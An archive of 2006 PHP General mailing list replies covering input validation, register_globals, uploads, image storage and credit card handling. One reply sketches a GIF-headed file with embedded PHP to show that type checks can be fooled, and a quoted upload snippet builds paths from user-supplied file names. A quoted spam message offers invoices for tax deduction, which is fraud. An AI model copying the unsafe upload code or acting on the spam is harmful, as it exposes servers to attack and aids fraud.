2006-07-19 Thread Rory Browne

On 7/19/06, KermodeBear [EMAIL PROTECTED] wrote:


 Does anyone have any links/resources for a
 basic php knowledge test?  If not, I'll have to
 write one from scratch myself, and mess up the
 rest of my day of goofing off/sleeping.

It wouldn't hurt to pick up one of those Zend PHP Certification study
guides
and pull some things from there. Or, browse the PHP manual for commonly
used
functions and ask questions from there.



Assuming that doing so was either Fair use or authorised by Zend, and that
you aren't going to get your ass sued for copyright violation - then again
maybe on a small enough scale.



What might work better though would be to pull some questions from this

mailing list and ask them how they would answer them. It will give you
some
insight into their knowledge of PHP as well as how well they can solve
problems using the language.




To an extent. I personally think the best way is to outline a set of
situations and have them write scripts to solve that problem. You need to
know that they have both the knowledge and language to solve a problem. It
doesn't really matter if they know the syntax of strpos, if they know other
methods of solving their potential problems.

Perhaps a CSV to MySQL converter - although not exactly that, because I've
mentioned it on the list :p


That, in my (not so) humble opinion, is better than just knowledge of the

language. You need to know how to apply it to be a decent programmer.

HTH. I would be very interested in seeing what you come up with, actually.
(o:



After the person sitting the exam has passed their test.


-K. Bear


--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] PHP 5...

2006-07-11 Thread Rory Browne

Unless there is some specific reason that you need this code to run on both
php4 and php5, then inform your boss/admin that the idea of developing on
php5, to deploy on php4 is nuts. If they disagree inform them that they are
personally nuts( tell them some guy on the internet said so ).

It may be possible to develop php5 code in a php5 env, if you are intimately
familiar with the differences between php4 and php5, but if you're that
familiar with PHP, then you're worth more than a half-ass software creation
enviornment.

Basicly it's a catch22 if you're good enough to be able to cope with this
enviornment, you shouldn't have to.






Re: [PHP] A way to stop spam on this list

2006-06-19 Thread Rory Browne

Do you know who the list admin is?

php-general has been traditionally admined by users flaming people posting
bad content.

This doesn't work for spam.

Having that said, feel free to set up procmail or something like that, to
block message with chinese/japanese characters.


Re: [PHP] GET, POST, REQUEST

2006-06-17 Thread Rory Browne

On 6/18/06, Ben Ramsey [EMAIL PROTECTED] wrote:


On 6/17/06 5:34 PM, Satyam wrote:
 Your application might require that flexibility or accepting data via
 POST or GET, in which case, it is just fine.   Contrary to another post
 I've read, there is nothing good of register_globals, that is why it is
 now defaulted to off and kept for compatibility, though highly
 discouraged. There is nothing intrinsically wrong with $_REQUEST, it is
 slightly more vulnerable than differentiating POSTs from GETs, but it is
 not the worst you can do

I never said there was anything good about register_globals. In fact, I
was implying that it was bad. With register_globals, you can't tell
whether the variable $foo is local, global, from POST, from GET, from
COOKIE, etc. I compared $_REQUEST to register_globals because it behaves
similarly: you still don't know whether $_REQUEST['foo'] comes from
POST, GET, or COOKIE. The good thing is that you at least know it comes
from an HTTP request, so you know not to trust anything from it.



You're in a bad state of affairs when the security of your application comes
down to whether the input came from POST, GET, or COOKIE.

I wouldn't compare register_globals to $_REQUEST. The problem with
register_globals is that it injects variables into your script. $_REQUEST
doesn't do that.

There are pros and cons for each: $_REQUEST is more flexable - $_GET and
$_POST are more self-documenting - if you see $_POST, you know that the info
came from a POST form, where as $_GET variables could be a
href=x.php?name=valuelike
this/a.

If your security is so bad in the first place that your use of $_REQUEST
instead of $_POSTcauses a vulnerability, then it's time for a serious code
audit.

Good code won't be vulnerable to register_globals either, but having
register_globals on is a security problem because there are security flaws
that can only be exploited when register_globals is enabled.


Re: [PHP] GET, POST, REQUEST

2006-06-17 Thread Rory Browne

So, a secure application always has to validate values from client side
originated variables, independently if the values were retrieved from
$_GET, $_POST, $_COOKIE or $_REQUEST .



You should always validate ALL external variables.


As for server side originated variables, these do not need to be

validated if you get them from $_SESSION, $_SERVER and $_ENV .



THIS IS NOT TRUE.

Some $_SERVER variables can be influenced by the client ( eg
$_SERVER['PATH_INFO'], being one example) (same for $_ENV)

$_SESSION validation is equally important, but slightly different. You need
to make sure ( for example ) that your sessions aren't  being hijacked.


Re: [PHP] PHP6 build help

2006-06-14 Thread Rory Browne

Only if (s)he''s on a debian based linux distro.

I see from his configure output, that he's on Linux, but what makes you
think he's on  Debian ( or on a system with apt-rpm ) ?




Run this command: sudo apt-get build-dep php5

This will get you all the packages needed to build php5, which
should be most of what is needed for php6.

Rabin

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] PHP6 build help

2006-06-14 Thread Rory Browne

/me goes and bangs head against wall.

On 6/14/06, Rabin Vincent [EMAIL PROTECTED] wrote:


On 6/14/06, Rory Browne [EMAIL PROTECTED] wrote:
 Only if (s)he''s on a debian based linux distro.

 I see from his configure output, that he's on Linux, but what makes you
 think he's on  Debian ( or on a system with apt-rpm ) ?

The first line of Ligaya's email said: Ubuntu Breezy Badger,
AMD 64. That's a Debian-based distro.

Rabin



Re: [PHP] is there a faster file command?

2006-05-31 Thread Rory Browne

As I believe someone else said, file_get_contents() is the perfered way.

Bare in mind however that reading off a network will probably be slow
compared to other operations.

This of course depends on the speed of your network, and the complexity of
the other operations.


Re: [PHP] Upload files problems

2006-05-26 Thread Rory Browne

It's very hard to read code, when either there is no comments, or the
comments are in a language you don't understand.

Hablo pocito Espanol, pero no entiendo bastante para entiender que quiere
decir.

Rory

On 5/25/06, Ing. Tomás Liendo [EMAIL PROTECTED] wrote:


Hi!
When the users of my system try to go up files of more than 460 K, they
receive the message:
Fatal error: Maximum execution time of 90 seconds exceeded in
c:\websites\iracbiogenar48\iracbiogen.com.ar\virtual\procesa_msjpriv.php
on
line 2

I'm using the following method to up load the files:

if($archivo_name)
{
   $dpath=./archivos_recibidos/.$archivo_name;
 if(move_uploaded_file($archivo, $dpath))
 {//Se realiza la transmision del archivo al servidor.
 echo font size=2 face=Arial, Helvetica, sans-serifEl
archivo
.$archivo_name.. ha sido transferido exitosamente./font/div/td;
}
else
{
 echo font size=2 face=Arial, Helvetica,
sans-serifADVERTENCIA: El arcvhio .$archivo_name.. no ha podido
enviarse./font/div/td;
}


Do I have control on these 90 seconds? or is a parameter of the server?
What can I do to solve this problem?

Ahead of time thank you very much,

Tom.

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Security Concerns with Uploaded Images:

2006-05-23 Thread Rory Browne


Use the unix command file to determiner what file you have.
I have had the same problem...



Don't depend on it.

graphic.php

GIF89
?php do_bad_stuff(); ?
ANY_GIF_FOOTERS_HERE

should according to file be a gif, but contains embedded php.


Many thanks!

Greetings
Michelle Konzack


--
Linux-User #280138 with the Linux Counter, http://counter.li.org/
# Debian GNU/Linux Consultant #
Michelle Konzack   Apt. 917  ICQ #328449886
   50, rue de Soultz MSM LinuxMichi
0033/6/6192519367100 Strasbourg/France   IRC #Debian (irc.icq.com)

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Encryption Advice

2006-05-19 Thread Rory Browne

DO NOT STORE CREDIT CARD NUMBERS!!!

Period!!!

If your PHP script can access them, then they are too accessible to
the Bad Guys.

Ditto


Even if nothing else, someone could modify your code to email them the CC
Numbers.

It's better if, when it comes to time to checkout, you redirect your client
to your Payment Service Providers (PSP's) website, your PSP processes the
payment, and redirects the client back to your site. The PSP would then
contact you directly to confirm the payment.

That way there is no CC info on your server for you to protect.

 Unless you are a computer security professional and _REALLY_ know what
you're doing.


Re: [PHP] Security Concerns with Uploaded Images:

2006-05-17 Thread Rory Browne

On 5/16/06, Richard Lynch [EMAIL PROTECTED] wrote:


On Mon, May 15, 2006 1:58 am, Jason Wong wrote:
 2) the uploaded file is a script (perl/php/python/etc)

 In the case of (2), if the script relies on its shebang line to
 execute

Not necessarily -- What if I upload an image file named
badscript.php and then I surf to it, after it's in your /images
directory?



When using the php apache module, from a OS permissions, the Server reads as
opposed to executes php code. .php files don't generally need to be
executable IIRC.

Game Over



If you want Shifflet's view, just go to http://phpsec.org

--
Like Music?
http://l-i-e.com/artists.htm

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Upload File (binary files?)

2006-05-15 Thread Rory Browne


How is it not suited?

I stopped using mySQL to store images because of
browser refresh problems, but other than that --
I didn't find any major problems with using it.

Plus, moving images from one system to another
was much easier because you just moved the dB and
you don't have to worry about the file system and
breaking links.



Bullshit. there are multiple tools for copying files from host to host,
including ftp, scp, sftp, rsync, nfs, etc. Planning ahead, is  a better way
to avoid breaking links than using MySQL to store your images.


In addition, if you are using multiple hosts, who

require the same images, then using mySQL is far
superior than trying to keep all the images in
different file systems synchronized.


Not it's not. If you have a single mysql server then this situation can be
replicated by having a single image server. If you have a clustered mysql
system, then this can be replicated using something like rsync



Furthermore, according to Paul DuBois (author of

MySQL Cookbook, great book btw) who says If you
store images on the file system, directory
look-up my become slow in his comparing file
system to mySQL for image storage.


I notice you've misspelt the most important word there. He says the lookup
_MAY_ become slow. This behavour is dependent on the filesystem you are
using. You will encounter this problem with ext3 if you have too many files
in the same dir. You're less likely to encounter it with reiser. This comes
down to the competance of the administrator. An incompetantly setup mysql
table ( without indexes ) would have the same problem.


Additionally, transactional behavior is more

difficult with a file system than it is with
mySQL.

Granted, if you use mySQL for storing images,
then you bloat the tables and approach your
system limits faster than using a file system.
But for a limited amount of images, there isn't
any real problems.



For a small enough site you can encode all your images inside a bigger image
using stenography. Bad solutions generally work for small enough sites.
Failing to plan for the growth of your site is however a bad idea.

And granted, pulling images from mySQL to be used

in web sites are slightly slower and present
refresh differences between some browsers, but
that's certainly not a reason to say that mySQL
is categorically not suited for the storage of
binary files -- like with everything else, there
are trade-offs. Do you not see that?



We're not talking about generic binary files. We're talking about images
images that people upload. Using blobs to store small (order of kbs) of
transient data is fine. I just don't want to end up maintaining systems that
store images in the sql db.

---


At 1:53 AM +1000 5/11/06, Peter Hoskin wrote:
So, if ASCII and Binary are both codesets... which does SQL use to store
its data?

Is ASCII stored differently than binary on a hard drive?

From my limited experience in using a hex editor,
the data all looks the same to me. If it wasn't
for my hex editor, I would be looking at 1's and
0's, right?

After all, isn't an image in a file system stored
on a hard drive the exact same fashion as an
image stored on a hard drive via mySQL?

The only difference I can see is in overhead --
but then again, I may be a Moron or an Idiot like
Rory Browne suggests.

Perhaps someone might enlighten me as to why
mySQL is not suited to store images -- and prove
it.

And for goodness sake NO, Google is NOT always
right -- it's only a collection of everyone's
view. When did Google replace valid research? I
can see tomorrow's mother's saying to their
children If Google jumped off a bridge, would
you do it?

Let's get real about what Google can offer.
Specificity is inversely proportional to the
number of people voicing an opinion. I would
guess that even Morons and Idiots know that.

tedd

Typical disclaimers apply -- I did not mean to
offend anyone nor to imply that anyone is an
Idiot or a Moron. Your mileage may vary. No
warranties expressed or implied. This is not a
solicitation for an investment opportunity.
Consult you doctor before applying.  No hable
inglés.

--


http://sperling.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Upload File (binary files?)

2006-05-15 Thread Rory Browne


How is it not suited?

I stopped using mySQL to store images because of
browser refresh problems, but other than that --
I didn't find any major problems with using it.

Plus, moving images from one system to another
was much easier because you just moved the dB and
you don't have to worry about the file system and
breaking links.



Bullshit. there are multiple tools for copying files from host to host,
including ftp, scp, sftp, rsync, nfs, etc. Planning ahead, is  a better way
to avoid breaking links than using MySQL to store your images.


In addition, if you are using multiple hosts, who

require the same images, then using mySQL is far
superior than trying to keep all the images in
different file systems synchronized.


Not it's not. If you have a single mysql server then this situation can be
replicated by having a single image server. If you have a clustered mysql
system, then this can be replicated using something like rsync



Furthermore, according to Paul DuBois (author of

MySQL Cookbook, great book btw) who says If you
store images on the file system, directory
look-up my become slow in his comparing file
system to mySQL for image storage.


I notice you've misspelt the most important word there. He says the lookup
_MAY_ become slow. This behavour is dependent on the filesystem you are
using. You will encounter this problem with ext3 if you have too many files
in the same dir. You're less likely to encounter it with reiser. This comes
down to the competance of the administrator. An incompetantly setup mysql
table ( without indexes ) would have the same problem.


Additionally, transactional behavior is more

difficult with a file system than it is with
mySQL.

Granted, if you use mySQL for storing images,
then you bloat the tables and approach your
system limits faster than using a file system.
But for a limited amount of images, there isn't
any real problems.



For a small enough site you can encode all your images inside a bigger image
using stenography. Bad solutions generally work for small enough sites.
Failing to plan for the growth of your site is however a bad idea.

And granted, pulling images from mySQL to be used

in web sites are slightly slower and present
refresh differences between some browsers, but
that's certainly not a reason to say that mySQL
is categorically not suited for the storage of
binary files -- like with everything else, there
are trade-offs. Do you not see that?



We're not talking about generic binary files. We're talking about images
images that people upload. Using blobs to store small (order of kbs) of
transient data is fine. I just don't want to end up maintaining systems that
store images in the sql db.

---


At 1:53 AM +1000 5/11/06, Peter Hoskin wrote:
So, if ASCII and Binary are both codesets... which does SQL use to store
its data?

Is ASCII stored differently than binary on a hard drive?

From my limited experience in using a hex editor,
the data all looks the same to me. If it wasn't
for my hex editor, I would be looking at 1's and
0's, right?

After all, isn't an image in a file system stored
on a hard drive the exact same fashion as an
image stored on a hard drive via mySQL?

The only difference I can see is in overhead --
but then again, I may be a Moron or an Idiot like
Rory Browne suggests.


I notice you took the first two words of my post and ignored the rest - I
also allowed the option of newbie. my biggest problem with it is the
administration difficulties this presents.



Perhaps someone might enlighten me as to why

mySQL is not suited to store images -- and prove
it.


At work our MySQL DB recently hit a 4G limit in the table storage Engine.
That wouldn't have happened if a competant programmer had set it up to put
the images in the FS.


And for goodness sake NO, Google is NOT always

right -- it's only a collection of everyone's
view. When did Google replace valid research? I
can see tomorrow's mother's saying to their
children If Google jumped off a bridge, would
you do it?

Let's get real about what Google can offer.
Specificity is inversely proportional to the
number of people voicing an opinion. I would
guess that even Morons and Idiots know that.


Okay - you're right, and everyone who put up sites on this topic, that got
indexed by google is wrong.

tedd


Typical disclaimers apply -- I did not mean to
offend anyone nor to imply that anyone is an
Idiot or a Moron. Your mileage may vary. No
warranties expressed or implied. This is not a
solicitation for an investment opportunity.
Consult you doctor before applying.  No hable
inglés.

--


http://sperling.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Re: Upload File (binary files?)

2006-05-15 Thread Rory Browne

On 5/15/06, tedd [EMAIL PROTECTED] wrote:


At 12:18 AM +0200 5/14/06, Michelle Konzack wrote:
Am 2006-05-12 09:28:36, schrieb tedd:

  But, at some point (and I forgot to mention this in my previous post)
  all programmers start thinking in collections of data and a dB
  becomes a well suited solution (record holder and organizer) for
  that. As such, all data connected to a record, including images, are
   better suited if organized and saved in one place.

-snip-

The overhead form getting a pic from the database is bigger then
from a filesystem.  I had allready tried it.  I can resize on the
fly too.  Now, where is the problem, if a php script get the pic
from a filserver using http or ftp?

Well... if you define the problem in terms of If it can be done
then there's no real problem.

But the purpose of programming is to gather, organize, process, and
display data. We do this under the paradigm of keep it simple --
the simpler is usually the better.

I only said that from a programming perspective -- of collecting and
placing data into organizable groups -- keeping things in one system
is preferable (simpler) than dividing things up into different
organizational elements (i.e., file system v dB).

Plus, a dB has search capabilities that a file system doesn't --
that's probably the reason why dB's came into existence, right?



Last time I checked we had tools to search the filesystem. locate, find and
awk spring to mind.




As for overhead and time to process stuff -- that's just a current

observation and the problem (if there is one) will most certainly
pass.

I think the future on this is pretty clear as to what regime will be
preferable for data organization. Not that I'm implying such to you,
I remember DOS types saying What moron will ever use a mouse? and
now they're saying Only Idiots and Morons place images in dB's.

To each their own.



lets just hope I never have to maintain your code.

tedd

--


http://sperling.com  http://ancientstones.com  http://earthstones.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] $ENV['SCRIPT_FILENAME']

2006-05-14 Thread Rory Browne

Sorry - what's your question?

I think that $ENV should be $_ENV, which in turn should be $_SERVER.

On 5/14/06, Ryan A [EMAIL PROTECTED] wrote:


Hi,
I am going through another persons script (which is
not working) and have come accross this:

if (isset($ENV['SCRIPT_FILENAME']))
{
  $CLIENT_PATH= dirname($ENV['SCRIPT_FILENAME']);
  WelcomeScreen();
  TestSetup($TH_HASH);
  exit;
}

I am just starting on CLI stuff but I cant find much
references to $ENV['SCRIPT_FILENAME'], reading the
manual I know there is a $_ENV superglobal but just
$ENV?

I am pipeing some log data from apache to this script
but while debuggin I have noticed that i does not go
further than the above if() statement...

and that part IS needed because if accesseed via a
POST it should execute that code and show the
WelcomeScreen()

Even a RTFM with a reference in the manual would be
appreciated.

Thanks!
Ryan

--
- The faulty interface lies between the chair and the keyboard.
- Creativity is great, but plagiarism is faster!
- Smile, everyone loves a moron. :-)
-
Fight back spam! Download the Blue Frog.
http://www.bluesecurity.com/register/s?user=bXVzaWNndTc%3D

__
Do You Yahoo!?
Tired of spam?  Yahoo! Mail has the best spam protection around
http://mail.yahoo.com

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] $ENV['SCRIPT_FILENAME']

2006-05-14 Thread Rory Browne

Unless there is an other piece of code filling up the $ENV array - possibly
a cleaning routine.

On 5/14/06, Rory Browne [EMAIL PROTECTED] wrote:


Sorry - what's your question?

I think that $ENV should be $_ENV, which in turn should be $_SERVER.


On 5/14/06, Ryan A  [EMAIL PROTECTED] wrote:

 Hi,
 I am going through another persons script (which is
 not working) and have come accross this:

 if (isset($ENV['SCRIPT_FILENAME']))
 {
   $CLIENT_PATH= dirname($ENV['SCRIPT_FILENAME']);
   WelcomeScreen();
   TestSetup($TH_HASH);
   exit;
 }

 I am just starting on CLI stuff but I cant find much
 references to $ENV['SCRIPT_FILENAME'], reading the
 manual I know there is a $_ENV superglobal but just
 $ENV?

 I am pipeing some log data from apache to this script
 but while debuggin I have noticed that i does not go
 further than the above if() statement...

 and that part IS needed because if accesseed via a
 POST it should execute that code and show the
 WelcomeScreen()

 Even a RTFM with a reference in the manual would be
 appreciated.

 Thanks!
 Ryan

 --
 - The faulty interface lies between the chair and the keyboard.
 - Creativity is great, but plagiarism is faster!
 - Smile, everyone loves a moron. :-)
 -
 Fight back spam! Download the Blue Frog.
 http://www.bluesecurity.com/register/s?user=bXVzaWNndTc%3D

 __
 Do You Yahoo!?
 Tired of spam?  Yahoo! Mail has the best spam protection around
 http://mail.yahoo.com

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php





Re: [PHP] LDAP Authentication

2006-05-13 Thread Rory Browne

you're approaching this wrong - google for LDAP Authentication php, and see
how they do it

On 5/13/06, Thomas Bonham [EMAIL PROTECTED] wrote:


Hello,

I'm trying to do a ldap authentication page. I can get there username
and I don't know how to get the password from ldap. It didn't show up in
the the search for the command line. So how do I get the password of the
users?

Thomas

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Uploading large files

2006-05-13 Thread Rory Browne

possibly by using CGI/php, and changing the relevent vaules, on the command
line.

Why don't you want to change the php.ini values if you legitimately want to
upload these files?


On 5/13/06, php @ net mines [EMAIL PROTECTED] wrote:


Hi all

is there a way to upload large files (e.g. 15mb) without changing the
default settings in php.ini***?

Preferably by using php, but if not is there another web tech (e.g. Java
applets) that will allow me to do this?

Thanks in advance

Mario

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Security Concerns with Uploaded Images:

2006-05-13 Thread Rory Browne

getimagesize() -

I wouldn't worry about people trying to upload scripts - assuming you limit
file-extensions to .gif, .bmp, .jpg, etc. .jpgs generally don't get executed
- unless you have a screwed up webserver install.

The best they will be able to do is have others download the script / code.

What I would worry about is people using your image store to share
information other than what the subject of the image looks like - like
encoding mp3's using stenography - or something like that.

Perhaps either an apache directive to not-execute, or store everything below
the webroot, and readfile() them out.

On 5/14/06, Nick Wilson [EMAIL PROTECTED] wrote:


Hi all,

are there any security concerns with uploaded images?

My thought is that it wouldnt be too hard to have some kind of script
masquerade as a gif file, and perhaps cause damage.

I cant find anyway to check a file really is a gif/png/jpg (i assume the
mimetype available in $_FILES could be spoofed).

I'd welcome any thoughts in general on this, but specifically if anyone
has experience/knowledge in this area and can point me in the right
direction.

Many thanks!
--
Nick Wilson
Tel:+45 3311 2250

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Wierd ass code...

2006-05-13 Thread Rory Browne


 // Add to the running totals
 @$hits[$username|$subnet]++;
 @$bytes[$username|$subnet]+=$byte;
 @$baps[$username|$subnet|$this_second]++;
 @$bapm[$username|$subnet|$this_minute]++;

 What kind of arrays are the above? I have never seen
 nor worked with arrays like them before.

 If you can point me to a particular place in the
 manual or a few URLs too would be appreciated.


It looks like the code was written by  an awk programmer, or a programmer of
some language that doesn't natively support multidimensional assoc arrays.

It's just a normal array.. but the author is creating keys on the fly

for which the values area being incremented. And because there's no
error checking for the key not existing previously, he has used the
dirty error suppression operator. BAD BAD BAD CODER! Remember, if an
error occurs and you have a custom error handler, your custom error
handler still gets invoked. OWWIE!



I would submit that the error suppression operator isn't BAD BAD BAD per se
- it's just like goto, in that 99% of its use is bad. In the absence of a
comment justifying it, the error-suppressed expression is BAD.

There are some cases where the Error Suppression operator may be useful in
good code. I wouldn't use it to suppress anything more serious than
E_NOTICE. I don't think I ever used this operator, but if I did, i'd explain
why there is no possible case where the code could emit an E_WARNING or
higher.


Cheers,

Rob.
--
..
| InterJinn Application Framework - http://www.interjinn.com |
::
| An application and templating framework for PHP. Boasting  |
| a powerful, scalable system for accessing system services  |
| such as forms, properties, sessions, and caches. InterJinn |
| also provides an extremely flexible architecture for   |
| creating re-usable components quickly and easily.  |
`'

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] extract text from pdf

2006-05-11 Thread Rory Browne

I use twiki.

Twiki search sucks.

Someone wrote a Plucene based search engine.

They wanted to be able to search attachments.

Including Pdf files.

They used ...



something out of xpdf - pdf2text or pdftotext

On 5/11/06, George Pitcher [EMAIL PROTECTED] wrote:


Have a look at the iText java class. I use it in conjuction with php for
file splitting and concatenation, but it has a whole host of other
features.
It's accessible via sourceforge or from the author at
www.lowagie.com/iText/.

Hope it helps

George

 -Original Message-
 From: cajbecu [mailto:[EMAIL PROTECTED]
 Sent: 11 May 2006 9:46 am
 To: 'PHP General (E-mail)'
 Subject: [PHP] extract text from pdf


 Hello,

 Is there any posibility to extract all text from a PDF file? (I have
 read all the documentation about PHP PDF-Lib but no answer...)

 Thanks in advance,
   cajbecu

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php



--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Re: Upload File

2006-05-10 Thread Rory Browne

There are names for people who use the blob field of a MySQL db to store
images.
Moron, and Idiot are just two examples, but if other circumstances exist,
you can say newbie as well. As a newbie I thought myself that storing images
in a DB would be a nice clean solution. Voices of experience said otherwise.
Over the years as I grew more experienced I began to understand myself, why
putting images into a MySQL Db is a Bad Thing[tm].

Use blobs to store small amounts of transient data. Use the FS to store
something as large and semi-static as images.

Sorry if this seems rough / harsh, but if it causes a person to think twice
before using MySQL as a file storage solution, then it's justified.

There are a few less polite names for people who develop software like this
that I have to maintain later.



Are you going to write queries that involve the data *IN* the file as
part of the search, sort, or filtering?

PHP has the facilities built-in to perform this search/sort/filter - while
their use isn't always the cleanest solution, anything is better than
putting files in a db.

If you can't find the features you require, then feel free to use external
tools - anything to avoid db file storage.


Re: [PHP] internal operation

2006-05-10 Thread Rory Browne

www.php.net/streams

On 5/10/06, Richard Lynch [EMAIL PROTECTED] wrote:


On Wed, May 10, 2006 4:11 am, Luke Cole wrote:
 Do the file system and directory functions, perform the file system
 command relative to your OS.

 e.g.
 does the internal code of the function:
 rename(oldname, newname);

 do exactly (in unix file systems):
 `mv oldname newname`

 do exactly (in windows file systems):
 `ren oldname newname`

I believe there are C libraries from, say, stdlib that they are
using, which, under the hood, are what the shells use.

So, in reality, it's more like:

PHP --\
   + C library to rename file
DOS/Shell-/

 If not, how does it do it?

I could be wrong.  Maybe it's just magic. :-)

 Also, if one disables users from using ``,
 are all file system and directory functions disabled to?

I don't think so.

--
Like Music?
http://l-i-e.com/artists.htm

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Convert from jpg to gif ... change dpi...

2006-05-07 Thread Rory Browne
imagemagick?

On 5/7/06, Gustav Wiberg [EMAIL PROTECTED] wrote:

 Hi there!

 Is there any way of converting a jpg to gif and change dpi on the fly?

 Best regards
 Gustav Wiberg

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




[PHP] Portfolio suggestions

2006-05-03 Thread Rory Browne

It's just struck me, that even though I've been using PHP for six years,
Most of my code, has either been integrated into specialised systems, or for
random administrative job, I've got very little in the line of a portfolio.

I'd like to rectify this, but I can't think of a suitable project. I'd like
to do something new / useful as opposed to a glorified Hello World
demonstration.

Any suggestions?


Re: [PHP] chop x amount of characters from the begining of a string

2006-05-02 Thread Rory Browne

function chop_two_or_3_characters_from_front_of_string($str){
 $cut = rand(2, 3);
 return substr($str, $cut);
}

On 5/2/06, Jochem Maas [EMAIL PROTECTED] wrote:


Brad Bonkoski wrote:
 Perhaps this will work..
 http://www.php.net/manual/en/function.substr.php

it's a long shot brad ;-)



 Ross wrote:

 I have a word say 'example' I want to chop of two or 3 chacters from
 the front to leave 'ample' or 'mple'. Is there a php function to do
this?


 Ross




--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] ????,????????????

2006-05-02 Thread Rory Browne

It's probably some unrenderable character set - like chinese or something
like that.


On 5/3/06, Chris W. Parker [EMAIL PROTECTED] wrote:


Yes definitely. I totally agree. Please send me more on the
product/service you're giving away/trying to sell to me/us. I'd really like
to see/hear/experience more.

Thanks/Regards/Sincerely!
Chris.

-Original Message-
From: abzgjisf5 [mailto:[EMAIL PROTECTED]
Sent: Tuesday, May 02, 2006 3:23 PM
To: php-general@lists.php.net
Subject: [PHP] ,


华明集团有限公司

与多家省市公司合作,现有部份余额发票可对外代开,收取费用低,可提供给贵公司作帐及(进项)抵扣用,降低成本、提高效率。
收费如下:
普通商品销售发票及建筑安装专用发票,加工修理等普通发票按金额大小算:5万以下收2个点,5万以上收1.5,50万以上收1个点;(金额越大价钱越优惠)
代开范围:商品销售、运输物流、广告、服务、建筑安装等,
本公司郑重承诺所用票据均为各单位在税务局所申领,可上网查询或到税务局抵扣验证。(国内各大城市均有我们的合作公司)

(金额越大、价钱越优惠,以上价钱仍有商量)
本公司开出的发票绝对正规,均可先验票后收钱。

   联系人:吕先生

联系电话:13620912191

E-MAIL:[EMAIL PROTECTED]

--
PHP General Mailing List (http://www.php.net/)
To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] mysql and php

2006-04-14 Thread Rory Browne
Display the different ways in which you've seen php using mysql, and we'll
see if any one of them is any more secure than another.

Most Security issues can be left to MySQL and the MySQL API.

A few pointers -
Store parameters(username/password) outside the DocuementRoot.
Put your server on local host - or create an ssh/ssl tunnel between the PHP
machine, and the DB.
Cast any numbers, and escape any strings. ( mysql_escape_string )

Configure mysql securely - this is outside the scope of an email.

On 4/14/06, benifactor [EMAIL PROTECTED] wrote:

 i was wondering what is the most secure way to use mysql in php.  is there
 a certain way it should be done or a way that is more secure than another?

 iv'e seen it done many ways and was wondering if it was just preference or
 a if there was a reason behind it.

 if you guys could post some examples of how you do it and why maybe you
 could help me understand or know of an article or tutorial on the subjecti
 would appreciate it.



Re: [PHP] How to create a photo gallery

2006-04-11 Thread Rory Browne
In fairness. www.google.com

a search for php photo gallery, and php image gallery both brought up
everything you need.

read this: http://www.catb.org/~esr/faqs/smart-questions.html

On 4/12/06, Chris [EMAIL PROTECTED] wrote:

 Pham Huu Le Quoc Phuc wrote:
  Please help me!
  I want to create a photo gallery, user can upload pictures.

 There was a recent thread which might help you:

 http://marc.theaimsgroup.com/?l=php-generalm=114439402126801w=2


 --
 Postgresql  php tutorials
 http://www.designmagick.com/

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] Completing forms offline with PHP/MySQL

2006-04-09 Thread Rory Browne
I haven't thought about this much, but I'd probably create an onSubmit
handler, that would hide the form in an iframe, and create a new one. I
would then when they are online, submit all the forms.

This would require the user to keep the browser window open and at the same
page. Alternatively you could have the user allow the script to write files
to the local hard disk, and store the form data there. Making a .hta file
would probably be the easiest way to do this on windows.

On 4/7/06, Miles Thompson [EMAIL PROTECTED] wrote:

 At 01:06 PM 4/7/2006, Kevin Davies - Bonhurst Consulting wrote:

 Hi,
 
 Apologies if this is the wrong place for this question, but I'm sure
 there
 are some experts out there who might be able to point me in the right
 direction... :)
 
 I'm doing some work at the moment where remote teams can submit reports
 through to our database when connected over the internet to our server.
 However, I've been asked to look in the possibility of the teams
 completing
 the form offline, and uploading when they have access to a connection.
 
 It looks like I might be able offer something like Microsoft InfoPath
 forms
 (better recommendations?) to generate an XML file, and then use a PHP
 file
 to upload the file into the database. Additionally, I could also do with
 this process uploading a number of other files (e.g. images, text files)
 to
 the server.
 
 Does anyone have any experience in this area, and would be able to
 recommend
 a solution?
 
 Thanks in advance for your help...
 
 Kevin


 PHP-GTK+
 GTK+ front end, laid out using wGlade (which creates an XML-like file with
 a .glade extension), and of course, PHP for all of your logic.

 Works

 Miles


 --
 No virus found in this outgoing message.
 Checked by AVG Anti-Virus.
 Version: 7.1.385 / Virus Database: 268.3.5/303 - Release Date: 4/6/2006

 --
 PHP General Mailing List (http://www.php.net/)
 To unsubscribe, visit: http://www.php.net/unsub.php




Re: [PHP] What does this mean: ?=

